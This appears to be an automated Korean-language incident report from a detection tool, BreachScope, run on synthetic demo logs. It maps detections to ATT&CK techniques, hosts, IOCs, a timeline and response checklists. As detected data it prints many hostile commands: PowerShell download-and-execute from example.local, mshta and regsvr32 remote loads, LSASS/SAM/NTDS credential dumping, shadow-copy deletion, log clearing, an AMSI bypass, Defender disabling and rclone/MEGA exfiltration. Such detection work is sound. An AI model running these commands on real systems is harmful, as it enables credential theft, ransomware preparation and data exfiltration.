BreachScope 자동화 보고서

100 / 100 Risk: critical
영향 호스트 12개 · ATT&CK 기법 35개

내장 데모 시나리오 검증

이 섹션은 BreachScope 합성 샘플 로그를 분석했을 때만 표시됩니다.

IDNameEventsFindingsHostsExpectedMatched
active_directory_discovery Active Directory discovery sweep 7 8 WS-301 T1087.001, T1087.002, T1482, T1135, T1057, T1518.001 T1018, T1057, T1087.001, T1087.002, T1135, T1482, T1518.001
cloud_exfiltration_staging Cloud exfiltration staging 4 4 FS-02 T1560.001, T1567.002 T1105, T1560.001, T1567.002
credential_dump_triage Credential dump triage 5 5 SRV-DC01 T1003.001, T1003.002, T1003.003 T1003.001, T1003.002, T1003.003
defense_evasion_controls Defense evasion control changes 4 4 WS-601 T1562.001, T1562.002, T1562.004 T1562.001, T1562.002, T1562.004
lateral_movement_remote_admin Remote administration lateral movement 4 4 WS-201, WS-202, WS-203 T1021.006, T1569.002, T1543.003, T1047 T1021.006, T1047, T1543.003, T1569.002
lolbin_proxy_execution LOLBins proxy execution cluster 7 7 WS-401 T1218.005, T1218.011, T1218.010, T1218.003, T1127.001, T1218.004, T1202 T1127.001, T1202, T1218.003, T1218.004, T1218.005, T1218.010, T1218.011
persistence_mechanisms Persistence mechanisms 4 4 WS-501 T1547.001, T1053.005, T1543.003 T1053.005, T1543.003, T1547.001
powershell_downloader PowerShell downloader and encoded execution 4 7 WS-101 T1059.001, T1105 T1059.001, T1105
ransomware_preparation Ransomware preparation 5 7 FS-01 T1490, T1562.001, T1070.001 T1070.001, T1490, T1562.001
user_data_collection User data collection 4 4 WS-701 T1555.003, T1115, T1113, T1560.001 T1113, T1115, T1555.003, T1560.001

우선 조치 권고

  1. PowerShell 실행 주체, 전체 명령줄, 스크립트 블록 로그를 확인하고 승인된 관리 작업인지 검증합니다.
  2. 탐지된 URL/IP 접속 이력과 다운로드 파일 해시를 확인하고, 프록시·방화벽 로그와 대조합니다.
  3. LSASS 접근 흔적이 있으면 해당 호스트를 격리하고 계정 비밀번호·토큰 탈취 가능성을 우선 조사합니다.
  4. 이벤트 로그 삭제 정황은 은폐 행위일 수 있으므로 중앙 로그, EDR, 백업 로그에서 동일 시간대를 복원합니다.
  5. 예약 작업과 Run 키를 확인하여 지속성 등록 여부를 점검하고 승인되지 않은 항목은 비활성화합니다.
  6. 동일 사용자·동일 호스트 기준으로 전후 30분의 프로세스 생성, 네트워크 연결, 인증 이벤트를 묶어 타임라인을 재구성합니다.

조사 포커스

  1. 1순위 호스트 WS-301에서 탐지 전후 30분의 프로세스 생성·네트워크·인증 로그를 타임라인으로 묶습니다.
  2. high/critical 탐지부터 사용자, 부모 프로세스, 실행 경로, 원격 접속 여부를 확인합니다.
  3. 동일 명령 또는 동일 사용자가 다른 호스트에도 반복되었는지 검색해 확산 여부를 판단합니다.
  4. LSASS 관련 탐지가 있으므로 계정 탈취 가능성을 별도 사고 트랙으로 분리합니다.
  5. 로그 삭제 정황이 있으므로 중앙 로그와 백업 로그를 우선 보존합니다.

ATT&CK 전술 커버리지

TacticFindingsHighestTechniquesHosts
Credential Access 6 critical T1003.001, T1003.002, T1003.003, T1555.003 SRV-DC01, WS-701
Impact 5 critical T1490 FS-01
Defense Evasion 13 high T1070.001, T1127.001, T1202, T1218.003, T1218.004, T1218.005, T1218.010, T1218.011, T1562.001, T1562.002, T1562.004 FS-01, WS-401, WS-601
Execution 7 high T1047, T1059.001, T1569.002 WS-101, WS-202, WS-203
Exfiltration 2 high T1567.002 FS-02
Discovery 8 medium T1018, T1057, T1087.001, T1087.002, T1135, T1482, T1518.001 WS-301
Persistence 5 medium T1053.005, T1543.003, T1547.001 WS-203, WS-501
Collection 4 medium T1113, T1115, T1560.001 FS-02, WS-701
Command and Control 3 medium T1105 FS-02, WS-101
Lateral Movement 1 medium T1021.006 WS-201

룰팩 커버리지

적용 룰 66개 · 고유 ATT&CK 기법 44개 · Windows 핵심 기법 커버리지 96.9%

룰 전체 목록은 ZIP 패키지의 report.rules.csv에 포함됩니다.

TacticRulesHighestTechniques
Execution 11 high T1047, T1059.001, T1569.002
Persistence 6 medium T1053.005, T1543.003, T1547.001
Defense Evasion 17 high T1070.001, T1127.001, T1140, T1197, T1202, T1218.002, T1218.003, T1218.004, T1218.005, T1218.010, T1218.011, T1562.001, T1562.002, T1562.004
Credential Access 8 critical T1003, T1003.001, T1003.002, T1003.003, T1555, T1555.003
Discovery 8 medium T1018, T1057, T1087.001, T1087.002, T1135, T1482, T1518.001
Lateral Movement 3 medium T1021.001, T1021.006
Collection 3 medium T1113, T1115, T1560.001
Command and Control 2 medium T1105
Exfiltration 2 high T1567.002
Impact 2 critical T1490
Unmapped 4 medium T1006, T1007, T1136.001
아직 보강할 Windows 핵심 기법 후보 1개
TechniqueNameTactic
T1021.002Remote Services: SMB/Windows Admin SharesLateral Movement

IOC 후보 요약

domain: 1   ip: 1   md5: 1   path: 27   url: 7  

URL/IP/도메인/해시/경로 후보는 별도 IOC CSV 산출물에도 저장됩니다.

TypeValueCountHostsRulesFirst Seen
domain example.local 15 FS-02, WS-101, WS-301, WS-401 DNS Lookup Discovery, MSHTA Remote Load, PowerShell DownloadString Execution, PowerShell Invoke-Expression, Regsvr32 Scriptlet Execution, Suspicious Web Download 2026-01-15T09:04:00+00:00
path C:\Temp\finance_archive.7z 6 FS-02 Archive Collected Files, MEGA CLI Exfiltration Tool, Rclone Cloud Exfiltration Tool 2026-01-15T10:10:00+00:00
path C:\ProgramData\demo-updater.exe 3 WS-501 Registry Run Key Modification, Scheduled Task Creation, Windows Service Creation 2026-01-15T10:20:00+00:00
path C:\Temp 2 WS-601 Microsoft Defender Disable Attempt 2026-01-15T10:36:00+00:00
path C:\Temp\demo.dll 2 WS-401 InstallUtil Proxy Execution 2026-01-15T10:05:00+00:00
path C:\Temp\demo.inf 2 WS-401 CMSTP UAC Bypass Pattern 2026-01-15T10:01:00+00:00
url https://example.local/bootstrap.txt 4 WS-101 PowerShell DownloadString Execution, PowerShell Invoke-Expression, Suspicious Web Download 2026-01-15T09:06:00+00:00
url http://example.local/demo.hta 2 WS-401 MSHTA Remote Load 2026-01-15T09:55:00+00:00
url http://example.local/demo.sct 2 WS-401 Regsvr32 Scriptlet Execution 2026-01-15T09:59:00+00:00
url https://example.local/stage1.ps1 2 WS-101 Suspicious Web Download 2026-01-15T09:04:00+00:00
url https://example.local/ 1 WS-101 Suspicious Web Download 2026-01-15T09:06:00+00:00
ip 192.168.10.55 1 FS-02 Suspicious Web Download 2026-01-15T10:16:00+00:00
md5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 1 FS-02 Suspicious Web Download 2026-01-15T10:16:00+00:00

사고 타임라인

TimeΔ secHostUserSeverityTacticRuleContext
2026-01-15T09:00:00+00:00 - WS-101 CORP\alice medium Execution PowerShell Bypass/Hidden Flags powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy By
2026-01-15T09:02:00+00:00 120 WS-101 CORP\alice medium Execution Encoded PowerShell Command powershell.exe -encodedcommand AAAABBBBCCCCDDDDEEEEFFFF
2026-01-15T09:02:00+00:00 0 WS-101 CORP\alice medium Execution EncodedCommand Generic (Safe) powershell.exe -encodedcommand AAAABBBBCCCCDDDDEEEEFFFF
2026-01-15T09:04:00+00:00 120 WS-101 CORP\alice medium Command and Control Suspicious Web Download powershell.exe Invoke-WebRequest https://example.local/stage1.ps1 -OutFi
2026-01-15T09:06:00+00:00 120 WS-101 CORP\alice medium Command and Control Suspicious Web Download powershell.exe IEX (New-Object Net.WebClient).DownloadString('https://example.local/
2026-01-15T09:06:00+00:00 0 WS-101 CORP\alice medium Execution PowerShell Invoke-Expression powershell.exe IEX (New-Object Net.WebClient).DownloadStrin
2026-01-15T09:06:00+00:00 0 WS-101 CORP\alice high Execution PowerShell DownloadString Execution hell.exe IEX (New-Object Net.WebClient).DownloadString('https://example.local/bootstrap.txt')
2026-01-15T09:10:00+00:00 240 SRV-DC01 CORP\svc-backup high Credential Access LSASS Dump Attempt procdump -ma lsass.exe C:\Temp\lsass_simulated.dmp
2026-01-15T09:12:00+00:00 120 SRV-DC01 CORP\svc-backup high Credential Access SAM SYSTEM Hive Save reg save HKLM\SAM C:\Temp\sam.save
2026-01-15T09:13:00+00:00 60 SRV-DC01 CORP\svc-backup high Credential Access SAM SYSTEM Hive Save reg save HKLM\SYSTEM C:\Temp\system.save
2026-01-15T09:16:00+00:00 180 SRV-DC01 CORP\admin critical Credential Access NTDS.dit Dump Attempt ntdsutil ifm create full C:\Temp\ifm-simulated
2026-01-15T09:18:00+00:00 120 SRV-DC01 CORP\admin high Credential Access WDigest Credential Exposure entControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /d 1
2026-01-15T09:20:00+00:00 120 FS-01 CORP\ops high Defense Evasion Microsoft Defender Disable Attempt Set-MpPreference -DisableRealtimeMonitoring $true
2026-01-15T09:22:00+00:00 120 FS-01 CORP\ops high Impact Recovery Inhibition vssadmin delete shadows /all /quiet
2026-01-15T09:22:00+00:00 0 FS-01 CORP\ops critical Impact Ransomware Shadow Copy Removal Variant vssadmin delete shadows /all /quiet
2026-01-15T09:24:00+00:00 120 FS-01 CORP\ops high Impact Recovery Inhibition wbadmin delete catalog -quiet
2026-01-15T09:24:00+00:00 0 FS-01 CORP\ops critical Impact Ransomware Shadow Copy Removal Variant wbadmin delete catalog -quiet
2026-01-15T09:26:00+00:00 120 FS-01 CORP\ops high Impact Recovery Inhibition bcdedit /set recoveryenabled no
2026-01-15T09:30:00+00:00 240 FS-01 CORP\ops high Defense Evasion Windows Event Log Clear wevtutil cl Security
2026-01-15T09:35:00+00:00 300 WS-201 CORP\helpdesk medium Lateral Movement WinRM Remote Command Enter-PSSession -ComputerName WS-202
2026-01-15T09:37:00+00:00 120 WS-202 CORP\helpdesk high Execution PsExec Remote Service Pattern psexec \\WS-203 -s cmd /c echo SIMULATED > C:\
2026-01-15T09:39:00+00:00 120 WS-203 CORP\helpdesk medium Persistence Windows Service Creation sc.exe create UpdateSvc binPath= C:\ProgramData\updat
2026-01-15T09:41:00+00:00 120 WS-203 CORP\helpdesk low Execution WMI Process Creation wmic process call create "cmd.exe /c echo lateral-movement-demo"
2026-01-15T09:45:00+00:00 240 WS-301 CORP\analyst low Discovery Account Or System Discovery whoami /all
2026-01-15T09:46:00+00:00 60 WS-301 CORP\analyst low Discovery Account Or System Discovery nltest /domain_trusts
2026-01-15T09:46:00+00:00 0 WS-301 CORP\analyst low Discovery Domain Trust Discovery nltest /domain_trusts
2026-01-15T09:47:00+00:00 60 WS-301 CORP\analyst low Discovery Network Share Discovery net view /domain
2026-01-15T09:48:00+00:00 60 WS-301 CORP\analyst low Discovery DNS Lookup Discovery nslookup _ldap._tcp.dc._msdcs.example.local
2026-01-15T09:49:00+00:00 60 WS-301 CORP\analyst medium Discovery ADFind Active Directory Discovery adfind -f objectcategory=person
2026-01-15T09:50:00+00:00 60 WS-301 CORP\analyst low Discovery Process Discovery tasklist /svc

초동대응 체크리스트

PriorityTaskWhy
P1영향 호스트 보존전원 차단보다 네트워크 격리와 증거 보존을 우선 검토합니다.
P1자격증명 보호 조치LSASS 덤프 정황은 비밀번호/토큰 탈취 가능성을 의미합니다.
P1계정 사용 이력 확인동일 사용자 계정의 다른 호스트 로그인 여부가 확산 판단의 핵심입니다.
P2IOC 차단 후보 검토URL/IP/도메인을 프록시·방화벽·EDR에서 교차 확인합니다.
P2타임라인 확장최초 실행 전후 이벤트를 연결해야 원인과 범위를 줄일 수 있습니다.

오탐 확인 질문

  1. 해당 명령을 실행한 사용자가 평소 해당 호스트에서 관리 작업을 수행하는 계정인가?
  2. 탐지 시각 전후 30분에 승인된 배포, 패치, 원격지원 작업이 있었는가?
  3. 부모 프로세스와 실행 경로가 조직 표준 도구 경로와 일치하는가?
  4. 탐지된 URL/도메인이 사내 업데이트 서버, 보안 솔루션, 공식 벤더 도메인인가?
  5. LSASS 접근이 백업/보안 제품의 정상 수집 동작인지 벤더 문서와 에이전트 로그로 확인했는가?
  6. 로그 삭제가 운영 절차에 따른 보관 정책 작업인지, 누가 승인했는지 확인했는가?

호스트별 위험도

HostRiskLevelFindingsHighestTechniquesTop Rule
WS-301 100/100 critical 8 medium T1018, T1057, T1087.001, T1087.002, T1135, T1482, T1518.001 Account Or System Discovery
WS-401 100/100 critical 7 high T1127.001, T1202, T1218.003, T1218.004, T1218.005, T1218.010, T1218.011 MSHTA Remote Load
WS-101 100/100 critical 7 high T1059.001, T1105 Suspicious Web Download
FS-01 100/100 critical 7 critical T1070.001, T1490, T1562.001 Recovery Inhibition
SRV-DC01 100/100 critical 5 critical T1003.001, T1003.002, T1003.003 SAM SYSTEM Hive Save
FS-02 100/100 critical 4 high T1105, T1560.001, T1567.002 Archive Collected Files
WS-601 100/100 critical 4 high T1562.001, T1562.002, T1562.004 AMSI Bypass String
WS-701 64/100 high 4 medium T1113, T1115, T1555.003, T1560.001 Browser Credential Store Access
WS-501 56/100 medium 4 medium T1053.005, T1543.003, T1547.001 Registry Run Key Modification
WS-202 35/100 medium 1 high T1569.002 PsExec Remote Service Pattern
WS-203 28/100 low 2 medium T1047, T1543.003 Windows Service Creation
WS-201 15/100 low 1 medium T1021.006 WinRM Remote Command

우선 확인 대상 Top 5

SeverityRuleMITREHostTimeContext
critical Ransomware Shadow Copy Removal Variant T1490 / Inhibit System Recovery FS-01 2026-01-15T09:24:00+00:00 wbadmin delete catalog -quiet
critical Ransomware Shadow Copy Removal Variant T1490 / Inhibit System Recovery FS-01 2026-01-15T09:22:00+00:00 vssadmin delete shadows /all /quiet
critical NTDS.dit Dump Attempt T1003.003 / OS Credential Dumping: NTDS SRV-DC01 2026-01-15T09:16:00+00:00 ntdsutil ifm create full C:\Temp\ifm-simulated
high Microsoft Defender Disable Attempt T1562.001 / Impair Defenses: Disable or Modify Tools WS-601 2026-01-15T10:36:00+00:00 Add-MpPreference -ExclusionPath C:\Temp
high Windows Audit Policy Disable T1562.002 / Impair Defenses: Disable Windows Event Logging WS-601 2026-01-15T10:32:00+00:00 auditpol /set /success:disable /failure:disable

총 탐지 건수: 54

적용 규칙 수: 66

SeverityCountMITRECount
low: 13   medium: 19   high: 19   critical: 3   T1087.001: 2   T1482: 1   T1135: 1   T1018: 1   T1087.002: 1   T1057: 1   T1518.001: 1   T1560.001: 2   T1567.002: 2   T1105: 3   T1003.001: 2   T1003.002: 2   T1003.003: 1   T1562.001: 3   T1562.002: 1   T1562.004: 1   T1021.006: 1   T1569.002: 1   T1543.003: 3   T1047: 1   T1218.005: 1   T1218.011: 1   T1218.010: 1   T1218.003: 1   T1127.001: 1   T1218.004: 1   T1202: 1   T1547.001: 1   T1053.005: 1   T1059.001: 5   T1490: 5   T1070.001: 1   T1555.003: 1   T1115: 1   T1113: 1  

필터: 최소 심각도=없음, 포함 TTP=없음, 제외 TTP=없음, 호스트=전체

요약 차트

심각도 분포
low
13
medium
19
high
19
critical
3
호스트 분포
WS-301
8
FS-02
4
SRV-DC01
5
WS-601
4
WS-201
1
WS-202
1
WS-203
2
WS-401
7
WS-501
4
WS-101
7
FS-01
7
WS-701
4

탐지 목록

Severity Rule MITRE Time Host Command Context
low Account Or System Discovery T1087.001 2026-01-15T09:45:00+00:00 WS-301 whoami /all whoami /all
세부 보기
룰 설명: Account Or System Discovery
ATT&CK: T1087.001
매치 값: whoami /all
원본 커맨드: whoami /all
low Account Or System Discovery T1087.001 2026-01-15T09:46:00+00:00 WS-301 nltest /domain_trusts nltest /domain_trusts
세부 보기
룰 설명: Account Or System Discovery
ATT&CK: T1087.001
매치 값: nltest /domain_trusts
원본 커맨드: nltest /domain_trusts
low Domain Trust Discovery T1482 2026-01-15T09:46:00+00:00 WS-301 nltest /domain_trusts nltest /domain_trusts
세부 보기
룰 설명: Domain Trust Discovery
ATT&CK: T1482
매치 값: nltest /domain_trusts
원본 커맨드: nltest /domain_trusts
low Network Share Discovery T1135 2026-01-15T09:47:00+00:00 WS-301 net view /domain net view /domain
세부 보기
룰 설명: Network Share Discovery
ATT&CK: T1135
매치 값: net view
원본 커맨드: net view /domain
low DNS Lookup Discovery T1018 2026-01-15T09:48:00+00:00 WS-301 nslookup _ldap._tcp.dc._msdcs.example.local nslookup _ldap._tcp.dc._msdcs.example.local
세부 보기
룰 설명: DNS Lookup Discovery
ATT&CK: T1018
매치 값: nslookup _ldap
원본 커맨드: nslookup _ldap._tcp.dc._msdcs.example.local
medium ADFind Active Directory Discovery T1087.002 2026-01-15T09:49:00+00:00 WS-301 adfind -f objectcategory=person adfind -f objectcategory=person
세부 보기
룰 설명: ADFind Active Directory Discovery
ATT&CK: T1087.002
매치 값: adfind
원본 커맨드: adfind -f objectcategory=person
low Process Discovery T1057 2026-01-15T09:50:00+00:00 WS-301 tasklist /svc tasklist /svc
세부 보기
룰 설명: Process Discovery
ATT&CK: T1057
매치 값: tasklist /svc
원본 커맨드: tasklist /svc
medium Security Software Discovery T1518.001 2026-01-15T09:51:00+00:00 WS-301 Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct mespace root/SecurityCenter2 -ClassName AntivirusProduct
세부 보기
룰 설명: Security Software Discovery
ATT&CK: T1518.001
매치 값: AntivirusProduct
원본 커맨드: Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct
low Archive Collected Files T1560.001 2026-01-15T10:10:00+00:00 FS-02 7z a C:\Temp\finance_archive.7z C:\Shares\Finance\*.xlsx 7z a C:\Temp\finance_archive.7z C:\Shares\Fi
세부 보기
룰 설명: Archive Collected Files
ATT&CK: T1560.001
매치 값: 7z a
원본 커맨드: 7z a C:\Temp\finance_archive.7z C:\Shares\Finance\*.xlsx
high Rclone Cloud Exfiltration Tool T1567.002 2026-01-15T10:12:00+00:00 FS-02 rclone copy C:\Temp\finance_archive.7z remote:incident-demo --log-file C:\Temp\rclone.log rclone copy C:\Temp\finance_archive.7z remote:incid
세부 보기
룰 설명: Rclone Cloud Exfiltration Tool
ATT&CK: T1567.002
매치 값: rclone copy
원본 커맨드: rclone copy C:\Temp\finance_archive.7z remote:incident-demo --log-file C:\Temp\rclone.log
high MEGA CLI Exfiltration Tool T1567.002 2026-01-15T10:14:00+00:00 FS-02 mega-put C:\Temp\finance_archive.7z /Root/demo mega-put C:\Temp\finance_archive.7z /Root/demo
세부 보기
룰 설명: MEGA CLI Exfiltration Tool
ATT&CK: T1567.002
매치 값: mega-put
원본 커맨드: mega-put C:\Temp\finance_archive.7z /Root/demo
medium Suspicious Web Download T1105 2026-01-15T10:16:00+00:00 FS-02 [REDACTED] https://example.local/checkin?id=192.168.10.55&[BASE64...REDACTED] [REDACTED] https://example.local/checkin?id=192.16
세부 보기
룰 설명: Suspicious Web Download
ATT&CK: T1105
매치 값: [REDACTED]
원본 커맨드: [REDACTED] https://example.local/checkin?id=192.168.10.55&[BASE64...REDACTED]
high LSASS Dump Attempt T1003.001 2026-01-15T09:10:00+00:00 SRV-DC01 procdump -ma lsass.exe C:\Temp\lsass_simulated.dmp procdump -ma lsass.exe C:\Temp\lsass_simulated.dmp
세부 보기
룰 설명: LSASS Dump Attempt
ATT&CK: T1003.001
매치 값: lsass.exe
원본 커맨드: procdump -ma lsass.exe C:\Temp\lsass_simulated.dmp
high SAM SYSTEM Hive Save T1003.002 2026-01-15T09:12:00+00:00 SRV-DC01 reg save HKLM\SAM C:\Temp\sam.save reg save HKLM\SAM C:\Temp\sam.save
세부 보기
룰 설명: SAM SYSTEM Hive Save
ATT&CK: T1003.002
매치 값: reg save HKLM\SAM
원본 커맨드: reg save HKLM\SAM C:\Temp\sam.save
high SAM SYSTEM Hive Save T1003.002 2026-01-15T09:13:00+00:00 SRV-DC01 reg save HKLM\SYSTEM C:\Temp\system.save reg save HKLM\SYSTEM C:\Temp\system.save
세부 보기
룰 설명: SAM SYSTEM Hive Save
ATT&CK: T1003.002
매치 값: reg save HKLM\SYSTEM
원본 커맨드: reg save HKLM\SYSTEM C:\Temp\system.save
critical NTDS.dit Dump Attempt T1003.003 2026-01-15T09:16:00+00:00 SRV-DC01 ntdsutil ifm create full C:\Temp\ifm-simulated ntdsutil ifm create full C:\Temp\ifm-simulated
세부 보기
룰 설명: NTDS.dit Dump Attempt
ATT&CK: T1003.003
매치 값: ntdsutil
원본 커맨드: ntdsutil ifm create full C:\Temp\ifm-simulated
high WDigest Credential Exposure T1003.001 2026-01-15T09:18:00+00:00 SRV-DC01 reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /d 1 entControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /d 1
세부 보기
룰 설명: WDigest Credential Exposure
ATT&CK: T1003.001
매치 값: WDigest
원본 커맨드: reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /d 1
high AMSI Bypass String T1562.001 2026-01-15T10:30:00+00:00 WS-601 powershell.exe [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') y.GetType('System.Management.Automation.AmsiUtils')
세부 보기
룰 설명: AMSI Bypass String
ATT&CK: T1562.001
매치 값: AmsiUtils
원본 커맨드: powershell.exe [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
high Windows Audit Policy Disable T1562.002 2026-01-15T10:32:00+00:00 WS-601 auditpol /set /success:disable /failure:disable auditpol /set /success:disable /failure:disable
세부 보기
룰 설명: Windows Audit Policy Disable
ATT&CK: T1562.002
매치 값: auditpol /set /success:disable
원본 커맨드: auditpol /set /success:disable /failure:disable
medium Firewall Rule Modification T1562.004 2026-01-15T10:34:00+00:00 WS-601 netsh advfirewall firewall add rule name=Demo dir=in action=allow protocol=TCP localport=4444 netsh advfirewall firewall add rule name=Demo dir=in action=allow protocol=
세부 보기
룰 설명: Firewall Rule Modification
ATT&CK: T1562.004
매치 값: netsh advfirewall firewall add rule
원본 커맨드: netsh advfirewall firewall add rule name=Demo dir=in action=allow protocol=TCP localport=4444
high Microsoft Defender Disable Attempt T1562.001 2026-01-15T10:36:00+00:00 WS-601 Add-MpPreference -ExclusionPath C:\Temp Add-MpPreference -ExclusionPath C:\Temp
세부 보기
룰 설명: Microsoft Defender Disable Attempt
ATT&CK: T1562.001
매치 값: Add-MpPreference -ExclusionPath
원본 커맨드: Add-MpPreference -ExclusionPath C:\Temp
medium WinRM Remote Command T1021.006 2026-01-15T09:35:00+00:00 WS-201 Enter-PSSession -ComputerName WS-202 Enter-PSSession -ComputerName WS-202
세부 보기
룰 설명: WinRM Remote Command
ATT&CK: T1021.006
매치 값: Enter-PSSession
원본 커맨드: Enter-PSSession -ComputerName WS-202
high PsExec Remote Service Pattern T1569.002 2026-01-15T09:37:00+00:00 WS-202 psexec \\WS-203 -s cmd /c echo SIMULATED > C:\Temp\psexesvc.log psexec \\WS-203 -s cmd /c echo SIMULATED > C:\
세부 보기
룰 설명: PsExec Remote Service Pattern
ATT&CK: T1569.002
매치 값: psexec
원본 커맨드: psexec \\WS-203 -s cmd /c echo SIMULATED > C:\Temp\psexesvc.log
medium Windows Service Creation T1543.003 2026-01-15T09:39:00+00:00 WS-203 sc.exe create UpdateSvc binPath= C:\ProgramData\update-sim.exe sc.exe create UpdateSvc binPath= C:\ProgramData\updat
세부 보기
룰 설명: Windows Service Creation
ATT&CK: T1543.003
매치 값: sc.exe create
원본 커맨드: sc.exe create UpdateSvc binPath= C:\ProgramData\update-sim.exe
low WMI Process Creation T1047 2026-01-15T09:41:00+00:00 WS-203 wmic process call create "cmd.exe /c echo lateral-movement-demo" wmic process call create "cmd.exe /c echo lateral-movement-demo"
세부 보기
룰 설명: WMI Process Creation
ATT&CK: T1047
매치 값: wmic process call create
원본 커맨드: wmic process call create "cmd.exe /c echo lateral-movement-demo"
medium MSHTA Remote Load T1218.005 2026-01-15T09:55:00+00:00 WS-401 mshta http://example.local/demo.hta mshta http://example.local/demo.hta
세부 보기
룰 설명: MSHTA Remote Load
ATT&CK: T1218.005
매치 값: mshta http
원본 커맨드: mshta http://example.local/demo.hta
high Rundll32 Remote Scriptlet T1218.011 2026-01-15T09:57:00+00:00 WS-401 rundll32.exe javascript:SIMULATED rundll32.exe javascript:SIMULATED
세부 보기
룰 설명: Rundll32 Remote Scriptlet
ATT&CK: T1218.011
매치 값: rundll32.exe javascript:
원본 커맨드: rundll32.exe javascript:SIMULATED
high Regsvr32 Scriptlet Execution T1218.010 2026-01-15T09:59:00+00:00 WS-401 regsvr32 /s /n /u /i:http://example.local/demo.sct scrobj.dll regsvr32 /s /n /u /i:http://example.local/demo.sct scrobj.dll
세부 보기
룰 설명: Regsvr32 Scriptlet Execution
ATT&CK: T1218.010
매치 값: regsvr32 /s /n /u /i:http
원본 커맨드: regsvr32 /s /n /u /i:http://example.local/demo.sct scrobj.dll
high CMSTP UAC Bypass Pattern T1218.003 2026-01-15T10:01:00+00:00 WS-401 cmstp.exe /s C:\Temp\demo.inf cmstp.exe /s C:\Temp\demo.inf
세부 보기
룰 설명: CMSTP UAC Bypass Pattern
ATT&CK: T1218.003
매치 값: cmstp.exe /s
원본 커맨드: cmstp.exe /s C:\Temp\demo.inf
medium MSBuild Inline Task Execution T1127.001 2026-01-15T10:03:00+00:00 WS-401 msbuild.exe C:\Temp\demo.proj /target:Build msbuild.exe C:\Temp\demo.proj /target:Build
세부 보기
룰 설명: MSBuild Inline Task Execution
ATT&CK: T1127.001
매치 값: msbuild.exe
원본 커맨드: msbuild.exe C:\Temp\demo.proj /target:Build
medium InstallUtil Proxy Execution T1218.004 2026-01-15T10:05:00+00:00 WS-401 installutil.exe /logfile= /u C:\Temp\demo.dll installutil.exe /logfile= /u C:\Temp\demo.dll
세부 보기
룰 설명: InstallUtil Proxy Execution
ATT&CK: T1218.004
매치 값: installutil.exe
원본 커맨드: installutil.exe /logfile= /u C:\Temp\demo.dll
low Forfiles Proxy Execution T1202 2026-01-15T10:07:00+00:00 WS-401 forfiles /p C:\Windows /m notepad.exe /c cmd /c echo SIMULATED forfiles /p C:\Windows /m notepad.exe /c cmd /c ech
세부 보기
룰 설명: Forfiles Proxy Execution
ATT&CK: T1202
매치 값: forfiles /p
원본 커맨드: forfiles /p C:\Windows /m notepad.exe /c cmd /c echo SIMULATED
low Registry Run Key Modification T1547.001 2026-01-15T10:20:00+00:00 WS-501 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v DemoUpdater /d C:\ProgramData\demo-updater.exe reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v DemoUpdater /d C:\ProgramData\demo-u
세부 보기
룰 설명: Registry Run Key Modification
ATT&CK: T1547.001
매치 값: reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run
원본 커맨드: reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v DemoUpdater /d C:\ProgramData\demo-updater.exe
low Scheduled Task Creation T1053.005 2026-01-15T10:22:00+00:00 WS-501 schtasks /create /tn DemoUpdater /tr C:\ProgramData\demo-updater.exe /sc minute /mo 30 schtasks /create /tn DemoUpdater /tr C:\ProgramData\demo
세부 보기
룰 설명: Scheduled Task Creation
ATT&CK: T1053.005
매치 값: schtasks /create
원본 커맨드: schtasks /create /tn DemoUpdater /tr C:\ProgramData\demo-updater.exe /sc minute /mo 30
medium Windows Service Creation T1543.003 2026-01-15T10:24:00+00:00 WS-501 sc create DemoUpdater binPath= C:\ProgramData\demo-updater.exe sc create DemoUpdater binPath= C:\ProgramData\dem
세부 보기
룰 설명: Windows Service Creation
ATT&CK: T1543.003
매치 값: sc create
원본 커맨드: sc create DemoUpdater binPath= C:\ProgramData\demo-updater.exe
medium PowerShell New-Service Persistence T1543.003 2026-01-15T10:26:00+00:00 WS-501 New-Service -Name DemoSvc -BinaryPathName C:\ProgramData\demo-svc.exe New-Service -Name DemoSvc -BinaryPathName C:\Progra
세부 보기
룰 설명: PowerShell New-Service Persistence
ATT&CK: T1543.003
매치 값: New-Service
원본 커맨드: New-Service -Name DemoSvc -BinaryPathName C:\ProgramData\demo-svc.exe
medium PowerShell Bypass/Hidden Flags T1059.001 2026-01-15T09:00:00+00:00 WS-101 powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command Write-Output SIMULATED powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy By
세부 보기
룰 설명: PowerShell Bypass/Hidden Flags
ATT&CK: T1059.001
매치 값: -NoProfile
원본 커맨드: powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command Write-Output SIMULATED
medium Encoded PowerShell Command T1059.001 2026-01-15T09:02:00+00:00 WS-101 powershell.exe [REDACTED] [BASE64...REDACTED] powershell.exe [REDACTED] [BASE64...REDACTED]
세부 보기
룰 설명: Encoded PowerShell Command
ATT&CK: T1059.001
매치 값: [REDACTED]
원본 커맨드: powershell.exe [REDACTED] [BASE64...REDACTED]
medium EncodedCommand Generic (Safe) T1059.001 2026-01-15T09:02:00+00:00 WS-101 powershell.exe [REDACTED] [BASE64...REDACTED] powershell.exe [REDACTED] [BASE64...REDACTED]
세부 보기
룰 설명: EncodedCommand Generic (Safe)
ATT&CK: T1059.001
매치 값: [REDACTED]
원본 커맨드: powershell.exe [REDACTED] [BASE64...REDACTED]
medium Suspicious Web Download T1105 2026-01-15T09:04:00+00:00 WS-101 powershell.exe [REDACTED] https://example.local/stage1.ps1 -OutFile C:\ProgramData\stage1.ps1 powershell.exe [REDACTED] https://example.local/stage1.ps1 -OutFi
세부 보기
룰 설명: Suspicious Web Download
ATT&CK: T1105
매치 값: [REDACTED]
원본 커맨드: powershell.exe [REDACTED] https://example.local/stage1.ps1 -OutFile C:\ProgramData\stage1.ps1
